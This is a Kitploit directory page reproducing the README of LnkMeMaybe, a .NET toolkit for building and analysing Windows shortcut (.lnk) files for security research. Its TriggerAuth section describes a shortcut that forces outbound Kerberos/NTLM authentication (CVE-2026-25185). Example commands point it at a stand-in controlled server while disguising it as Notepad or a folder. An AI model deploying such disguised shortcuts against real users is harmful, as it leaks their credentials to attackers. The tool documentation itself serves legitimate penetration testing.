Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
LnkMeMaybe — Lnk crafting and research tools | Kitploit
Tools/GitHubGitHub/trustedsec/lnkmemaybe
Payload GenerationExploitationDigital ForensicsPenetration TestingSocial EngineeringBinary Analysis
GitHubtrustedsec/lnkmemaybe

LnkMeMaybe

Lnk crafting and research tools

View Repository
185115 months agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
Website

LnkMeMaybe

A .NET 8 toolkit for creating and analysing Windows Shell Link (.lnk) files. Includes a command-line builder (LnkMeMaybe) and a graphical editor (LnkUi). Intended for security research and penetration testing.


Projects

ProjectDescription
Lnk/Core library. Parses and generates .lnk binary format per the MS-SHLLINK spec. LnkHandler is the main entry point, composing ShellLinkHeader, LinkTargetIDList, LinkInfo, StringData, and ExtraData.
LnkMeMaybe/CLI tool. Commands for generating a variety of .lnk files. Uses the Titanis.Cli framework.
LnkUi/Avalonia 11 MVVM desktop editor. Seven ViewModels wrap the corresponding Lnk library components. Useful for manual exploration and inspection of .lnk files.
LnkTests/MSTest suite. Real .lnk file samples are embedded as resources. Covers ShellLinkHeader and LinkInfo.

CLI — LnkMeMaybe

Common Parameters

All commands share the following base parameters (from BaseSavedCommand):


TriggerAuth (CVE-2026-25185)

Creates a .lnk that triggers Kerberos (falling back to NTLM) authentication to a specified server. The .lnk does not execute anything.

Scenarios where authentication is triggered:

  1. A user browses to the share containing the .lnk — the user's account authenticates outbound.
  2. The .lnk is placed in a location the machine is configured to index — SearchProtocolHost authenticates as SYSTEM.
  3. MSSense is running and the location is not exempt — MSSense.exe authenticates as SYSTEM.

Parameters:

Examples:

root@kitploit:~
# Send authentication to \\controlled.example.org\IPC$ while posing as notepad
LnkMeMaybe.exe TriggerAuth -F C:\Windows\notepad.exe -S \\controlled.example.org -DisplayName notepad.exe -I C:\Windows\notepad.exe -OutputPath notepad.lnk

# Send authentication to a specific share path while posing as a folder shortcut
LnkMeMaybe.exe TriggerAuth -F C:\Users\Public -S \\controlled.example.org\validshare\somefile.txt -DisplayName C:\Users\Public -I C:\Windows\system32\imageres.dll -IconIndex 3 -OutputPath Public.lnk

WebShortcut

Creates a .lnk file that points to a web URL. Normally Windows creates a .url file for web shortcuts; this command produces a .lnk instead.

Parameters:

ParameterRequiredDescription
--UrlYesThe URL the shortcut should point to. Must be a well-formed absolute URI.

Example:

root@kitploit:~
LnkMeMaybe.exe WebShortcut -Url https://example.org -OutputPath example.lnk

LocalShortcut

Creates a standard Windows shortcut to a local file or folder. The target path is stored as a shell item ID list (PIDL) — the native format Windows uses for filesystem shortcuts.

Parameters:

Examples:

root@kitploit:~
# Create a shortcut to Notepad
LnkMeMaybe.exe LocalShortcut --TargetPath C:\Windows\notepad.exe --OutputPath notepad.lnk

# Shortcut with arguments and a custom icon
LnkMeMaybe.exe LocalShortcut --TargetPath C:\Windows\notepad.exe --Arguments myfile.txt --WorkingDirectory C:\Users\Public --OutputPath notepad.lnk -I C:\Windows\notepad.exe

# Shortcut that opens maximised and requests elevation
LnkMeMaybe.exe LocalShortcut --TargetPath C:\Windows\System32\cmd.exe --ShowCommand Maximized --RunAsAdmin --OutputPath cmd_admin.lnk

EnvShortcut

Creates a .lnk where the target path is stored as an expandable environment-variable string (EnvironmentVariableDataBlock). This is the format Windows uses for shortcuts to system executables (e.g. %SystemRoot%\system32\notepad.exe). Variables are expanded at launch time, making the shortcut portable across Windows installations.

Parameters:

Examples:

root@kitploit:~
# Shortcut to Notepad using an environment variable path
LnkMeMaybe.exe EnvShortcut --TargetPath "%SystemRoot%\system32\notepad.exe" --OutputPath notepad.lnk

# Shortcut to a user-profile app with arguments
LnkMeMaybe.exe EnvShortcut --TargetPath "%LOCALAPPDATA%\MyApp\app.exe" --Arguments "--config default" --WorkingDirectory "%USERPROFILE%" --OutputPath myapp.lnk

Building

root@kitploit:~
# Build (debug)
dotnet build Lnk.sln

# Build (release, core projects only)
dotnet build -c Release build.slnf

# Run all tests
dotnet test

# Run a specific test class
dotnet test --filter "ClassName=lnkHeader"

# Publish self-contained single-file executable (Windows x64)
dotnet publish -c Release -r win-x64 -p:PublishSingleFile=true -p:DebugType=None --self-contained true --output LnkMeMaybeWindows LnkMeMaybe/LnkMeMaybe.csproj

Releases

Pre-built binaries for Windows, Linux, and macOS (x64 and arm64) are available on the Releases page.

Each release includes both standalone (no .NET runtime required) and framework-dependent (requires .NET 8 runtime) builds for LnkMeMaybe and LnkUi.

AI Usage Disclosure

AI systems were used for the following tasks:

  • Code quality review
  • Readme generation
  • Github workflow actions

The code present in this repository was otherwise human created and reviewed.

Download Tool
ParameterAliasRequiredDescription
--OutputPathYesFilesystem path to write the .lnk file.
--OverwriteNoAllow overwriting an existing file at OutputPath.
--DisplayNameNoText shown when hovering over the shortcut. Supports \n for newlines.
--IconPath / -I-INoPath to an .exe or .dll to use as the shortcut icon. Must exist on the target system.
--IconIndexNoIcon resource index within the file specified by --IconPath. Default: 0.
ParameterAliasRequiredDescription
--FakePath / -F-FYesPath displayed as the target in the .lnk properties.
--Server / -S-SYesServer hostname, IP, or UNC path to send authentication to. Appends IPC$ if no share is specified.
--DarwinNoDarwin identifier stored in the .lnk. Can be any value. Default: unset.
ParameterAliasRequiredDescription
--TargetPathYesAbsolute path to the target file or folder.
--ArgumentsNoCommand-line arguments to pass to the target.
--WorkingDirectory-WNoWorking directory for the target process.
--RunAsAdminNoRequest UAC elevation when the shortcut is launched.
--ShowCommandNoWindow state on launch: Normal, Maximized, or Minimized.
ParameterAliasRequiredDescription
--TargetPathYesTarget path, may include environment variables such as %SystemRoot% or %USERPROFILE%.
--ArgumentsNoCommand-line arguments to pass to the target.
--WorkingDirectory-WNoWorking directory for the target process.
--RunAsAdminNoRequest UAC elevation when the shortcut is launched.
--ShowCommandNoWindow state on launch: Normal, Maximized, or Minimized.